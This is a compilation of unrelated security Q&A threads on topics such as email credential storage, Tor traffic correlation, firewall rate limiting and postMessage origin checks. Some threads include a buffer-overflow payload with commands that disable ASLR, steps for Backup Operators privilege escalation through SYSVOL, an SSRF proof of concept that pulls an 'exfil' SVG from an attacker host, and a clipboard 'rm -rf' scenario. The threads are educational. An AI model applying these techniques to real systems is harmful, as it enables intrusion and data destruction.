How do email clients "send later" without storing a password? Email clients like Spark for macOS have a feature where a user can send an email later, at any given time, even when the computer is turned off. An SMTP server needs a password based authentication, though.

Does that mean that if I use Spark to send an email later, my password gets sent over to Spark servers in plaintext, so that they can authorize on the SMTP server later? Or is there a different method?

Sparks stores your account credentials on their systems. This is also described in their privacy policy:

  INFORMATION WE COLLECT AND HOW WE USE THIS INFORMATION

  Auth login or mail server credentials: Spark requires your credentials
  to log into your mail system in order to receive, search, compose and
  send email messages and other communication. Without such access, our
  Product won’t be able to provide you with the necessary communication
  experience. In order for you to take full advantage of additional App
  and Service features, such as “send later”, “sync between devices” and
  where allowed by Apple – “push notifications” we use Spark Services.
  Without using these services, none of the features mentioned above
  will function.


Malicious PHP code can run in cache. Solution? I have a module that I cache some details (w/c is from the input of the user) to lessen the load of my database

The way how I cache is by creating html page with the details of the user using fwrite();

the problem is after I try the module of the user, if I input this

<?php
 echo "this is from the input of the user";
?>

inside the textarea. After that this details will going to cache, and then when I load the cache file the php code was executed.

The only solution that I have is to strreplace() this character <? from their input. Is there any solution?

The solution is to not cache like this. For a start, <? is only one of several ways to inject PHP, including <script language="PHP"> and <?php. Blacklists are always a bad idea.

Your caching system doesn't work in the first place in terms of performance because, by the time your PHP serving becomes a performance problem, your disk performance becomes a problem too. At that point you're not improving performance at all.

For proper caching, you want in-memory storage. Take a look at memcached (and the PHP module), APC, or an in-memory NoSQL solution like Redis. These are mature projects that were designed to do exactly what you're trying to do.


Why no one makes a message application like whatsapp using RSA keys? I'm really new and I may sound like a noob so please forgive me.

Since gnupg is avaible for android, why does no one makes an app that encrypts every message using a rsa key and just swap the keys with each "friend", so for example:

John has a limit of 100 friends.
John has 1 RSA public key.
Only John has the secret key.

People that would message John would only get his public key, therefor when they write to John, their message will be encrypted using John's public RSA key.

When message arrives, John's cellphone decrypts every message using his secret key.

Keys will be stored on each cellphone and generated at their cellphone.

Please enlight me. Feel free to post any to read links.

I'm reading at the moment about OpenWhisper

Telegram is a texting app whose "secret chats" supposedly run on public key encryption or at least Diffie-Hellmann key exchange to use encryption. Other than that, I don't really know about something similar that has actually taken off.

The problem with encryption is that your ordinary person still doesn't consider themselves affected by the massive number of parties who might want their data, whether they are governments, corporations or independent individuals. They think having an honest, law-abiding lifestyle is a total safeguard from mass surveillance. I'm just a 9-to-5 office worker, why should I be affected? This is why your ordinary layman is not concerned about crypto. Admittedly, however, the NSA mass surveillance scandal, and its secondary exposure of other mass surveillance programs like Google or Facebook's, have resulted in laypeople taking privacy and security much more seriously. For example, when Facebook purchased WhatsApp, there was a mass migration of people from WhatsApp to Telegram.

There is, however, a second problem associated with crypto: people view it as hard, arcane and highly academic stuff, like rocket science or quantum mechanics. Just look at how wrong can Hollywood get crypto. Therefore, people just don't use it. Even with tools that simplify using cryptosystems as much as TrueCrypt, GPA and Enigmail on computers, or APG on smartphones, people still think crypto is hard to use by an end user and therefore they don't use it. It really doesn't help that the user himself must take measures to make sure crypto will actually work. When people share passwords as a ritual of love and write them on a Post-it on the monitor, you have large numbers of people who might as well be sending absolutely everything in plaintext.


How Google Detects State Sponsored Attacks A user on Twitter posted a screenshot in which Google warns him as he may be targeted by state sponsored attackers. What kind of attacks can be detected by Google and how?

Google states on their security blog that:

  These warnings are rare—fewer than 0.1% of users ever receive them—but they are critically important. The users that receive these warnings are often activists, journalists, and policy-makers taking bold stands around the world.

And:

  We can't reveal the tip-off because these attackers will adapt, but this happens to less then 0.1% of all Gmail users.

So I think we can only speculate about how they do it, but you shouldn't forget that google has a lot of information on a lot of people, and enough serverpower to make feasible predictions.

Source: https://security.googleblog.com/2016/03/more-encryption-more-notifications-more.html


How do traffic correlation attacks against Tor users work? I was reading about how Tor works. There is says that if the attacker is able to see both ends of the communication channel then Tor fails (and other anonymous networks too).

How and why does this attack work?

This is called an end-to-end confirmation attack.

The idea is  simple: Instead of attempting to decrypt the content of packets, an attacker who manages to observe both ends of the communication channel tries to find patterns in the traffic to match outgoing and incoming data in order to deanonymize users. This can be done by correlating the volume of transmitted data or by comparing the times at which packets are transmitted. For example, a user streaming a video exposes another pattern in terms of timing and traffic volume than someone browsing a website.

Correlation attacks are a hard-to-solve problem in low-latency anonymity networks like Tor and the Tor Project explicitly stated in a blog post that they don't protect against these attacks by design:

  The Tor design doesn't try to protect against an attacker who can see or measure both traffic going into the Tor network and also traffic coming out of the Tor network.
  [...]

  The way we generally explain it is that Tor tries to protect against traffic analysis, where an attacker tries to learn whom to investigate, but Tor can't protect against traffic confirmation (also known as end-to-end correlation), where an attacker tries to confirm a hypothesis by monitoring the right locations in the network and then doing the math.

There's quite a lot of research suggesting that correlation attacks are still a major threat to Tor users. For example, this paper from 2013 analyzed realistic correlation attack scenarios, concluding:

  The  results  show  that  Tor  faces  even  greater  risks  from  traffic correlation than previous studies suggested.  An adversary that
  provides  no more  bandwidth  than some  volunteers do  today  can
  deanonymize any given user within three months of regular Tor use
  with over 50% probability and within six months with over 80%
  probability.

The thesis "Defending End-to-End Confirmation Attacks
against the Tor Network" (2015) contains some more recent correlation experiments on the live Tor network with the insight that "end-to-end confirmation attacks can be successfully applied against the current size Tor network". The author also proposes a concrete defense technique based on dummy traffic that is supposedly "simple, easy to implement and deploy as well as usable" but to the best of my knowledge hasn't found its way into the Tor protocol, yet.


Virus with PGP Encryption Preventing Virus Scan A user reported having a virus that was causing pop up windows asking for money. When he turned on his laptop and logged into PGP encryption (whole disk) the desktop quickly showed but then a white screen covers everything. Sometimes there's random characters in the upper right cornor of the white screen.

Since we can't get into Windows and run a virus scan and the hard drive is encrypted so we can't boot from another disk and run the virus scan from there, I'm not sure what to do? The computer should have Symantec End Point Protection running on it (unless the virus knocked it out).

This question is a bit off-topic, but I'll post my personal experience with a similar issue.

Create a VistaPE image.

Integrate PGP into the image (Follow this guide and download the PGP tools from here)

Burn the VistaPE image, then boot from it.

Use the following command to decrypt the disk:
pgpwde  --decrypt  --passphrase "YourPassword"  --disk 0  --all-partitions

Note: I'm not entirely sure, but I probably had to use
pgpwde  --auth --passphrase "YourPassword"  --disk 0  --all-partitions

first to get to work. Just give it a spin.


How effective are firewall rate limiting rules for slowing down brute force and DOS attacks? I am investigating methods to slow down the rate at which attackers can make brute force attempts against my webserver's SSH and HTTP services.
I have come across many articles as well as the iptables-extensions man page which suggest limiting the number of parallel connections an IP address can make, using rules like

iptables -A INPUT -p tcp -syn -m multiport --dport 80,443 -m connlimit --connlimit-above 20 -j REJECT

Which will only allow 20 connections per IP at any given time.

Given that the HTTP 1.1 and HTTP 2.0 (not sure about SSH) protocols support tcp multiplexing and that by default webservers like Apache will keep idle TCP connections active with KeepAlive directive, I would have thought a bruteforce tool would only need to establish a low number of connections and those connections could support many repeated requests and responses over a long period of time
e.g. a browser might only need 6-8 connections at any given time yet those connections will support many HTTP request/responses.

Does anyone know from experience how many parallel TCP connections a brute force tool will try and open?
and also are rate limiting firewall rules like this effective?

Personally, I use fail2ban to stop bruce force logins. Brute force tools tend not to open many parallel connections.

As for brute forcing HTTP logins, your connection limiting rules will depend on how many parallel connections your web applications requires. If you set it too short, your legitimate users won't be able to use your service.


Is there a specification for the color values representing information classification levels for the United States? Executive Order 13526 section 1.2. Specifies Information may be classified as Top Secret, Secret, and Confidential. The absense of a classification is Unclassified.

US Classification Levels are used to mark the classification level of documents and files. Applications are generally marked at the highest classification allowed.

Each level is indicated by a combination of indicators - include color.

Are there official color codes (i.e., HEX, RGB, or similar) for each of these levels? For example:

Yellow: #ffff00 vs #fbe83b
Orange: #ff9900 vs #ff471a

Multiple documents indicate the levels and describe the associated hue ("red", "yellow", "blue", "green"), but do not go into any additional details. MIL-STD-1472 (Human Engineering) doesn't go into detail either.

Ok so after diving into this a bit, this is the best I can come up with. I do not work for the US government so I cant say anything with any level of confidence. However;

It seems that the color classification system is largely based on convenience. Since the whole point of having the classification marked on the pages of each document provides a simple method to check the clearance of the person with the requirements of the information. However, in the case where only text is used, it becomes difficult to assess at a glance whether someone is holding something they shouldn't. Hence, the color coding.

I started with a document referenced by the DoD Guide to Marking Classified Documents where on page 39 make reference to SF labels, this document makes a reference that points to DoD Directive 5200.1-R which states on page 59 Section C5.4.10:

  C5.4.10.1.
  If not marked otherwise, AIS storage media and other items covered by this section must be marked with the following labels:

  C5.4.10.1.1. SF 706 - TOP SECRET

  C5.4.10.1.2. SF 707 - SECRET

  C5.4.10.1.3. SF 708 - CONFIDENTIAL

  C5.4.10.1.4. SF 709 - CLASSIFIED

  C5.4.10.1.5. SF 710 - UNCLASSIFIED

I also found a training document in the archives that shows pictures of these labels with the colors you describe on slide 46, also mentioning the SF codes of the labels. The slide also mentioned a reference in the line above the labels:

  Within a classified environment, the following labels are authorized for use:

  (Ref: 32 CFR 2001.80)

If we look at gpo.gov we find Document CFR 2001.80 which states on page 539, Subpart H, Section 9:

  (9) SF 706, TOP SECRET Label: The SF 706 is used to identify and protect electronic media and other media that contain Top Secret information. The  SF 706 is used instead of the SF 703 for media other than documents...

Looking up SF 703 on gpo.gov gives the full details of 703, no colors are mentioned but it does state an inventory number in subsection (e) along with the date of the document:

  (e) The national stock number of the SF 703 is 7540-01-213-7901.

  [50 FR 51826, Dec. 19, 1985]

Alas if we look for that on the government archives we see that we can't simply view the requirements for these or view examples as:

  The following forms are available to U.S. government agencies, but cannot be placed on the website because of unique construction. It can be ordered by calling Global Supply customer assistance...

And if we look at the GSA for 703 specifically we see that authorization is required to get your hands on them, which makes sense given that they are meant to mark classified materials. However note the date also listed here:

  Current Revision Date: 08/1985

We now have two sources that cite label SF 703 as having an inception date of around 1985. Lets take a look at the state of computers at that time. If we go to Wikipedia we can find a list of the history of color pallets for this time period (give or take). The pallets were very minimalistic.

What I think you are seeing here is the product of an old system being used to this day without having its definitions adapted. It's possible that SF 703 and its sister labels have a definite hex value, but that information would be held by the GSA, and i doubt they'll disclose it. But it seems to me that the reason you only see generic references to "orange" or "yellow" is because there was no ambiguity then about what that meant (think 16 color pallet of MS paint except from 1980's-1990's) red, orange, yellow, blue and green were easily recognizable on print media and very hard to mistake.

Long story short, there could be an exact value definition, but i doubt it. I think this is just a color coding scheme where the colors were picked a long time ago at a time where 16 color pallets were a thing and have been used ever since. Whatever "red" they used in 1985 is probably exactly the same one used today. It is not strictly in the definition of any classification system documents because it is meant to be an aid not a definition itself. Something to easily see "AH the document in his hand is yellow, but he has a red badge. Something is wrong." rather than a strictly defined principle as the actual word "SECRET" is.

Of course again, this is just based off what I saw when I dove into the subject. I could be wrong. Maybe there is some definition out there. But this is what I think. It was a fun little research though!

Now all I have to do is prepare my statement for when the NSA/FBI come to my door asking why I've been looking up and down the GPO, GSA, Gov Archives and Pentagon sites looking for Classification materials and Directives from the DoD...


Problem exploiting Buffer Overflow in a simple C program I am new to Buffer Overflow exploits and I started with a simple C program.
My program is as follows :

#include <stdio.h>
#include <strings.h>

void execs(void){
    printf("yay!!");
}

void return_input (void)
{
    char array[30];
    gets(array);
}

int main()
{
    return_input();
    return 0;
}

I compiled the above program with cc by disabling stack protector as:

cc test.c -o test -fno-stack-protector

The dump of the elf file using objdump is as follows :

0804843b <execs>:
 804843b:   55                      push   %ebp
 804843c:   89 e5                   mov    %esp,%ebp
 804843e:   83 ec 08                sub    $0x8,%esp
 8048441:   83 ec 0c                sub    $0xc,%esp
 8048444:   68 10 85 04 08          push   $0x8048510
 8048449:   e8 b2 fe ff ff          call   8048300 <printf@plt>
 804844e:   83 c4 10                add    $0x10,%esp
 8048451:   90                      nop
 8048452:   c9                      leave
 8048453:   c3                      ret

08048454 <return_input>:
 8048454:   55                      push   %ebp
 8048455:   89 e5                   mov    %esp,%ebp
 8048457:   83 ec 28                sub    $0x28,%esp
 804845a:   83 ec 0c                sub    $0xc,%esp
 804845d:   8d 45 da                lea    -0x26(%ebp),%eax
 8048460:   50                      push   %eax
 8048461:   e8 aa fe ff ff          call   8048310 <gets@plt>
 8048466:   83 c4 10                add    $0x10,%esp
 8048469:   90                      nop
 804846a:   c9                      leave
 804846b:   c3                      ret

0804846c <main>:
 804846c:   8d 4c 24 04             lea    0x4(%esp),%ecx
 8048470:   83 e4 f0                and    $0xfffffff0,%esp
 8048473:   ff 71 fc                pushl  -0x4(%ecx)
 8048476:   55                      push   %ebp
 8048477:   89 e5                   mov    %esp,%ebp
 8048479:   51                      push   %ecx
 804847a:   83 ec 04                sub    $0x4,%esp
 804847d:   e8 d2 ff ff ff          call   8048454 <return_input>
 8048482:   b8 00 00 00 00          mov    $0x0,%eax
 8048487:   83 c4 04                add    $0x4,%esp
 804848a:   59                      pop    %ecx
 804848b:   5d                      pop    %ebp
 804848c:   8d 61 fc                lea    -0x4(%ecx),%esp
 804848f:   c3                      ret

So, In order to exploit the buffer(array), we need to find the number of bytes allocated in the return_input stack frame which by looking at the dump,

lea    -0x26(%ebp),%eax

is 0x26 in hex or roughly 38 in decimal. So, giving input as :

  38+4(random chars)+(return addr of execs)

would execute the execs function. I used the following:

python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test

But the output was:

  Segmentation fault(core dumped)

When I opened the core(core dumped file) using gdb, I could find that the segmentation fault was experienced when executing on the following address :

0xb76f2300

Ubuntu version : 16.10

Kernel version : 4.8.0-46-generic

What was I doing wrong?
Kindly help me out.

Thanks.

EDIT: I now beleive your kernel is in your way, but I'm not entirely sure how, see bottom for addendum.

ORIGINAL:
OK so i compiled my own version using your exact source code, i think your main problem is skipping a step in between objdump and using the address. Its always a good idea to make sure you are locating the correct address by finding it in gdb as well, sometimes we need to make sure the address we see in objdump is actually the one we encounter when running in gdb.

The rest of what you have done seems fine, and i tried to follow similar steps and was met with success:

found my function address and navigated to a spot nearby where the first push happens:

My address appears to be 0x00401460 cool. Now i figure out where i need my overflow to be, the method you used is great, im lazy and just did some trial and error:

after that it was just a matter of inserting my instruction into eip:

All in all, the only thing i did different than you was double check the EIP address i was using before attempting to exploit. That's the only thing i can think of that's messing you up. Because everything else you did looks correct, and i also ran into no trouble using your method.

EDIT:

Upon thinking about this more perhaps the real difference is our OS. Linux has protections against this sort of thing and a few things need to be addressed to allow overflows in compiled programs. There is another major difference and that is compiler.

I dont know what kernel version you have but try the following:

sysctl -w kernel.randomize_va_space=0
gcc prog.c -o prog -fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack

If that doesn't work, (first undo the sysctl command) then you can try an older kernel in a vm, like ubuntu 9 or something. Then try the above commands in there.

But I'm afraid I haven't tried to disable stack protection on more modern kernels. so I don't know if that would be enough to make this work. What I can say is this, I think you got it right. Something is just in your way and I'm not sure what it is. As far as the exploit goes, I see nothing wrong with what you did. Hopefully someone else can see the real problem more clearly, but what i think is going on here is that the OS level kernel protections are taking over preventing the overflow exploit from jumping to your desired address.


How could users in Backup Operators group escalate its privileges? If I'm in the Backup Operators group, is it possible for me to escalate the privilege to Administrators?

I'm talking about both Domain computers and non-Domain computers.

P.S I've tried to do net user whatever /ad and I got access denied error, not sure whether Backup Operators users can do bad things

So to resume your query, you want to know if the Backup Operators group
  (local and domain) can escalate privileges to the Administrators group. Based on my research (source) and after reproducing the steps bellow in my lab (2012 R2), my answer is YES.

Steps:

Ensure to be member of the Backup Operators group
Open an interactive session on a domain controller. If server is not virtual, physical access to the rack will be required. If server is virtual, proper access to the virtualization control center (like VMware vCenter) will be required
Once logged in, dig into C:\Windows\SYSVOL\domain\Policies{xxx}\MACHINE\Microsoft\Windows NT\SecEdit\ folder and look for a file named "GptTmpl.inf" which looks like the following image:

Make a copy of this file and add the SID of the desired account as shown below. To obtain the SID of an account by PowerShell, use the following command : [wmi] "win32_userAccount.Domain='',Name=''"

Backup the file
Restore the file and redirect it to the real SYSVOL location, overwriting the existing GPO
Wait for GPO to refresh or force GPO refresh (gpupdate /force)

  For your information, a member of the Backup operators group can:
   - Can back up and restore files regardless of the permissions that protect those files

  Can back up system state
  Can interactively logon (RDP excluded) on all servers (including DC)
  Can logon to shutdown a server


Do I need a salt when hashing a randomly generated password? I have passwords stored in my database that are very long, unique and generated by a CSPRNG.

Do I need to use a salt before hashing them?

My understanding is that usually you use a hash function in the following way:

hash(salt + password)

where the + is simply the concatenation of the 2 strings (or byte arrays). Since my passwords are already randomly generated, it's useless to prefix them with a salt which is another random value.

The purpose of salting when hashing passwords is to prevent identical passwords from resulting in the same hash values.   If your passwords all are, as you say, long and   generated by a CSPRNG, then you will not have identical passwords in your database for different users; they will all be unique, and salting adds nothing to the security of these passwords.

However, there may be a caveat.  And that is, if you have some passwords that are non-random.  I.E., if the random passwords you generate are initial passwords, but users have the ability to choose a different password.  If this is the case, then you should more certainly salt your passwords, including the randomly generated ones.   There are two reasons for this.

Adding branching logic to salt some passwords but not others is unnecessary complexity, and unnecessary  complexity is expensive and evil.  By salting everything you're neither reducing nor increasing the security of the random passwords, but simplifying the application logic and reducing the chance for bugs, security or otherwise.
This could drastically reduce the security of the non-random passwords.  If your scheme is known and the hashes and salts are extracted by an attacker, they will immediately be able to determine which passwords (the salted passwords) are not random generated, and should be attacked.   If all passwords are salted, the random passwords will be indistinguishable from the user-defined passwords.


Browser copy function overridden silently, is this security risk? I came across a site which overrides copy functionality and injects current page url as paste value. I was trying to select couple of words and instead it copied the page link. Simple developer tools inspection showed event getting overridden with following function

 window.addEventListener("copy", event=>{
    const selection = document.getSelection();
    event.clipboardData.setData("text/plain", window.location.href),
    event.preventDefault()
}

While in this case, it's annoying but harmless, I'm wondering if it's good idea to allow  user intentions changed without any warnings to the user. Even the test code from mdn copy event allowed me to change to random text without any warning. Basically I'm trying to copy "abcd" to clipboard and browser does copy "wxyz"

Wondering if hackers can takeover this functionality and copy their choice of links or data on clipboard especially when browsers did not seem to be warning you that text you selected and tried to copy has been modified.

I have tried this on latest versions of Firefox and Chromium available on Ubuntu 18.04 and none of the browsers warned me anything.

Could it be misused? Yes. But I also know of many websites for which modifying this behavior is required. For example, websites that don't want you to copy paste anything from them. In those cases I've also seen them notify users with a popup like "This website does not allow copy pasting functionalities". And whether a website decides to do this or not is up to the developers. But yes, in general if someone is modifying the natural behavior of something, it's important to let the user know, imo.

Now if you ask can it be misused by hackers, yes it can, but how? If it's a compromised website, then maybe they modify this function to always have you copy a malicious URL, use it for spreading XSS, or launch CSRF attacks. From a hackers point of view, I would assume using it to launch URL based attacks is the best (mis)use case with highest chance of success. Alternatively, imagine if it had a permanent "rm -rf /n" , that'd be devastating because paste would trigger it automatically in a terminal and if you're running root, you'll understand the hard way why you should never run as root by default.

If it's the hacker's own website, then you have bigger things to worry about and shouldn't be on that website at all. End of the day, they are modifying a copy function, but they have no control over the paste part of it (in browsers atleast?)

Regarding browsers notifying users of modified copy functions -- it does sound like a good idea, but whether it should be implemented directly into the browser is a call the browser devs have to take. I would think this would be a good functionality for a browser extension to have although I've not seen any that do this.


How can my ISP block certain websites if I'm using a VPN? Even  when I'm using a VPN (ExpressVPN), I still can't access certain websites. But  when I'm using Tor browser it loads them without a problem. So this must mean that my ISP somehow knows I'm trying to access those sites, even if I'm  using a VPN. How is this possible?

I tried using ExpressVPN's DNS servers or the 1.1.1.1 Cloudflare DNS server, neither works.

I  can use Tor for those websites, so that's not the problem, but Tor is slow  so there are times when I would rather use a VPN or use internet outside  of a browser, and it seems in those cases my ISP still knows what I'm  doing, which is a problem.

Run a tool like tracert and you will see where your traffic is lost.

If your connection to the website is routed via VPN, your ISP provider cannot block it.

1) Check the routing when VPN is activated. It may happen, that traffic to some hosts or networks is routed not via VPN, but via your provider.

2) When traffic is really routed via VPN, then the VPN provider may block some hosts.

3) ExperssVPN is not an internet provider. It operates in the networks of different ISPs. Some of these ISPs may block your website. Try to select another ExpressVPN server, e.g. from different country. You say, via Tor it works. Check via what IP you are reaching the website, and in ExpressVPN select a server from the same country as Tor exit node.


Why is not checking the origin of postMessage insecure? Typically, within the onmessage handler, you would have something like this:

window.onmessage = function(e) {
    if (e.origin != "www.example.com")
        return;
    //Do stuff
};

The check for e.origin is meant to ensure that only that site can access whatever is after the check. However, if my understanding is correct, one cannot send a postMessage to a page unless it is either an IFrame within the page, or through an IFrame on the page to the top level.

However, most of the risks I can think of would hardly make any sense. For example, even if I had something like this:

var superSecretToken = Math.random();
window.onmessage = function(e) {
    e.source.postMessage("Hey, my SUPER SECRET TOKEN is " + superSecretToken + "!", "*");
}

How would this give any important information to an attacker? If I open the page in an IFrame, the superSecretToken varies each time. If it were always the same, XSS would be pointless since I could just open up the page and read it from the source code.

From my understanding, only an IFrame within the page could send a postMessage and steal the token. However, unless you happen to embed some random page/ad in an IFrame without sandboxing it, and the owner of the site/ad decided to steal a bunch of tokens, this hardly seems like a threat.

So: if a site were to not check the origin of a message before replying, how could an attacker even affect a user of the page?

Imagine that the superSecretToken token was something retrieved from your service's server and was specific to the authenticated user. Or imagine that it was the user's bank balance.

Then any random webpage on the internet could embed your page in an iframe, and whenever someone visited the attacker's page and happened to be logged into your service, the iframe would postMessage the user's bank balance or whatever to the attacker's page. It gets even worse if the iframe accepts commands to make changes to the user's account, because then the attacker's page could send an arbitrary message to the iframe to make changes in the user's account, etc.


Does WebDAV pose an unreasonable risk in IIS7.5? I'm looking for a bit of feedback on WebDAV, in this case running on IIS7.5. I've had an IBM Rational AppScan report come to me with a medium severity finding as a result of DAV entries in the response headers.

I'm conscious WebDAV has had its issues in the past but Microsoft seems to feel improvements have been in IIS7.5 (info here and here). So the question is this: does WebDAV on IIS7.5 pose a risk sufficient to warrant action? Are there any precedents of it being exploited in IIS7.5 form?

Of course there's always the argument of "turn it off unless you need it", but a couple of logistical situations makes this a little more difficult in this scenario. I'm also conscious these vulnerability scans can tend to be a bit hit-and-miss and am happy to claim "false positive" if necessary.

WebDAV is more of a configuration nightmare than anything.  If it's misconfigured it can lead to a whole host of vulnerabilities like being able to access application files, directory traversal, bypassing authentication, etc.

If you aren't using it, the default settings are apparently reasonably safe, based on the IIS security model.  If you ARE using it, that poses a different problem as you need to create a proper threat model around it.

As you said, turn it off if you aren't using it.  WebDAV is reasonably safe at the moment, but that doesn't protect you from future 0-days.


Can a self-build router minimize the potential risk of intels management engine (ME)? I read some stuff about intels ME and got interested because of its huge potential security threat to basically (more or less) every intel system since 2008. And I came across the great work of @igor-skochinsky who did a pretty good presentation about the things he discovered.

There is no possibility to disable the ME in a trustworthy way nor can one just replace it with a custom image. There are attempts to delete as much of it as possible without running into countermeasures (https://github.com/corna/me_cleaner). So solving this problem on a machine itself is kind of difficult, but what if it dealt with outside the machine?

Since I think about building my own secure router (maybe using some BSD like NetBSD, OpenBSD, etc.) as entry point to my local network, I started to wonder if I could protect every potentially threatened intel machine in my local network with a home-made router that contains no hardware from intel or maybe even AMD(they using something called PSP) ?

Futher I was wondering wheather it would improve the security of the router concerning intels ME when using a NIC via PCI in the router because its said to the interface of ME it is only available over the primary NIC? That would be the NIC of the motherboard, right?

And finally would it be sufficient when the router have some kind of a whitelist of the MAC and IP addresses which are explicitly allowed, since its said to that the ME has its own MAC and IP address? I mean I could just add the adresses of every device of the local network to the whitlist and then every attempt for communication to or form the ME would not longer be possible?

So the idea is basically some kind of desktop computer which is hardened as much as possbile but without going nuts.Every idea or tip how to fullfill that goal is appreciated.

My first question, I hope it is ok.

Recent research prove that there is trustworthy way to disable ME and it was published recently by Positive Technologies here. There is also me_cleaner added implementation for HAP PCH strap.

In case your home made router and potential threat from AMD PSP. IMO it would be very hard to implement that. Please note that if chips has access to network interface it can use secure connection initiated from inside your network, so how you would differentiate between your secure outbound traffics versus malicious one ?

In case of using built in vs external NIC. There is no difference, if you use potentialy untrusted hardware or firmware for your router, but assuming you will go with trusted hardware and firmware you have to make sure there is no ROM or any internal chip built-in external NIC and other components that can interact with NIC behind the scene.


Can I use Kali Linux when I learn Backtrack well? I'm new to security issues and I am considering buying a course at ELearningSec (beginners course,of course). I am planning to work in a company and want to learn about offensive and defensive skills to improve the company and myself, and I would like to know:

Is Kali better than Backtrack for Pen test and web exploit ?
If I learn in Backtrack can i apply the knowledge to Kali easily?

Backtrack will be fine for learning, especially if the course is geared towards it (which I get the impression it may be?) Kali is better in the long run, because it installs, so you can customise it more easily on a machine/VM.

Overall though, I'd advise really learning your stuff with Backtrack/Kali/Combination of the two, and then 'graduating' to putting together your own system in a distro of your choice.  Like is mentioned in the comments, Arch is good, although it takes a while to set up.

I prepared my Pentest box by working with Backtrack, then setting up an Arch VM adding what I needed, and it works nicely.


SSRF PoC using fill="url(...)" with absolute path I read this interesting report which describes a SSRF vulnerability allowing to fetch internal images by using the url property in a path element. However, even though this vulnerability most likely relies on the server rendering the image, I haven't been able to reproduce the way in which this was accomplished via  a simple HTML document.

From what I understand, a path element was used to call external svg elements under the control of the attacker:

<path fill="url(https://yourserver.com/poc.svg#exfil)" stroke="#a1a1a1"

where poc.svg contains this:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="<redacted>" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>

I suppose the <redacted> part is pointing to an image in the vulnerable server. I believe <pattern id="exfil"> is important because many svg elements require that kind of identifier (id) as they reference other elements in the same document. However, I haven't been able to replicate this pattern with the "fill" parameter.

This is basically what I'm doing:

<html>
    <body>
        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
            <path fill="url(otherpoc.svg#exfil)" d="M150 0 L75 200 L225 200 Z" />
        </svg>
    </body>

</html>

and otherpoc.svg:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="google.png" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>

Now, this works correctly. If I had a google.png file as a local resource, then that would be fetched as intended. However, absolute paths (as in <path fill="url(http://server.com/otherpoc.svg#exfil)") don't seem to work (the url is not resolved). If you want to test this, remember to use Firefox or other browsing allowing this type of URL resolution.

I would appreciate any help.

You're trying to reproduce this vulnerability in your browser while the affected server used a different (unnamed) SVG parser with different behavior.

Your browser simply denies to load the pattern linked via <path fill="url(...)" ...> cross-domain because that would be an SOP violation. If referencing elements inside SVG files hosted on different domains was allowed, this could potentially be used by an attacker to extract information.

So, using your example, Firefox rightfully raises:

Security Error: Content at http://localhost/svgsop.html may not load data from http://server.com/otherpoc.svg.


Does Internet Explorer handle Extended Validation properly I'm reading about Extended Validation (EV) certificates and have a few questions.  From what I understand, EV allows domain owners to pay extra for a especially trusted certificate (that the browser will honor with special display properties) and it requires CAs to do extra steps to verify that the issued certificates are valid.  The Microsoft documentation says that domain administrators can add certificates to Internet Explorer that they would like to be viewed as EV (useful for internal applications).  My question is, if they can manipulate the EV list in Internet Explorer, what is stopping my domain administrator from doing the same thing as These guys and buying a subordinate root certificate for some outside site and adding it to my IE browser as an EV certificate?

Second question:  In Firefox, for example, the list of certificates with EV status are "embedded" in the browser.  If I do a custom build of Firefox, can I manipulate this embedded list?

That one is simple: in a windows domain environment, domain administrators have the capability of doing ANYTHING they want with your machine. In a sense, your machine is more their machine than yours.

That includes, of course, manipulating the certificate store to add (or deny) any kind of trust relationship they want.

That is, to use the usual turn of phrase, a feature and not a bug.

Now, the real question is, of course, "how do I protect myself from rogue admin?" (or perhaps "who watch the watchers?"). That one is hard to answer (ask the NSA about it).

The simplest way is simply no to allow anyone you can't trust with the domain administrator password. In small shops, that could means that only the domain owner knows the domain administrator password. It is also typically controlled by contracts and internal rules stating who is allowed to do what, how and under what kind of supervision.

In any case, that's an issue that should not be approach through technological means, at least until you're 100% sure you need it because the ways to improve on the situation through technical limitation are cumbersome, expensive and far from being 100% efficient.


Do OpenPGP/GnuPG apply slow hash to password when encrypting/decrypting key? Password space is quiet small. Therefore slow hash should be applied to password before using it for encryption.

Should slow hash function (like bcrypt) be applied to password before using it with OpenPGP/GnuPG? Do they do it itself?

Yes.  When encrypting a file using a passphrase, they should use a slow hash function to derive the cryptographic key from the password.

Yes, GPG already does do this.  See my answer that explains elsewhere how to use GPG with a slow hash, if you need to encrypt a file with passphrase-based conventional encryption.  The short version is that I recommend using the following command-line flags:

gpg -c --force-mdc --s2k-mode 3 --s2k-count 65011712 personal.zip

This asks GPG to use a slow hash function for hashing the password.


Influence of SSL Intercept on SSLVPN We're considering implementing an SSL Intercept proxy in my organization.  It will perform a SSL MITM to be able to inspect traffic.  It will be a solution of a commercial vendor.

It is clear that we will need to inspection exceptions for some sites:

Policy (Confidentiality): banking, medical, ...
Application: client side certificates based authentication

But what about SSLVPN applications (OpenVPN or commercial solutions)? I suppose they will stop working as although they use SSL encryption, there is no valid HTTP inside of them. However, I didn't find any useful documentation on this.

I could direct my questions to the vendor, but I'm interested into your experience or opinion on the impact of implementing this.

You are absolutely correct, when there is no valid HTTP inside of the SSL encryption, a decrypted flow will not work through a SSL intercept proxy.

One of the things you need to do before implementing SSL intercept is that you need to identify SSL based applications that are not http-based to prevent denied access (handling through Whitelist).

I can only speak about SSL intercept on (forward) proxies.


How to detect website active routes? I'm building a website using Laravel and I'm just thinking about security.

I would like to know if there is a way for attacker to detect all active web routes for a website ?

For example:

http://example.com/login
http://example.com/products
http://example.com/products/{id}/items
etc...

So, what techniques will attacker use to detect this routes ?

Will he check the website page source and search for links or will he somehow try to detect those links without looking at page source code (brute-force for example).

To be honest, I'm asking because I'm not sure if should put the link to the Content Manager to my homepage or not...

It depends on the application. They could start with a sitemap like one you provide Google. Or they could crawl it and extract links like a search engine would.

In your case if {id} is a sequential number, they might do a simple enumeration attack. Here's a high profile case where that lead to sensitive information disclosure because of poor access control mechanisms.

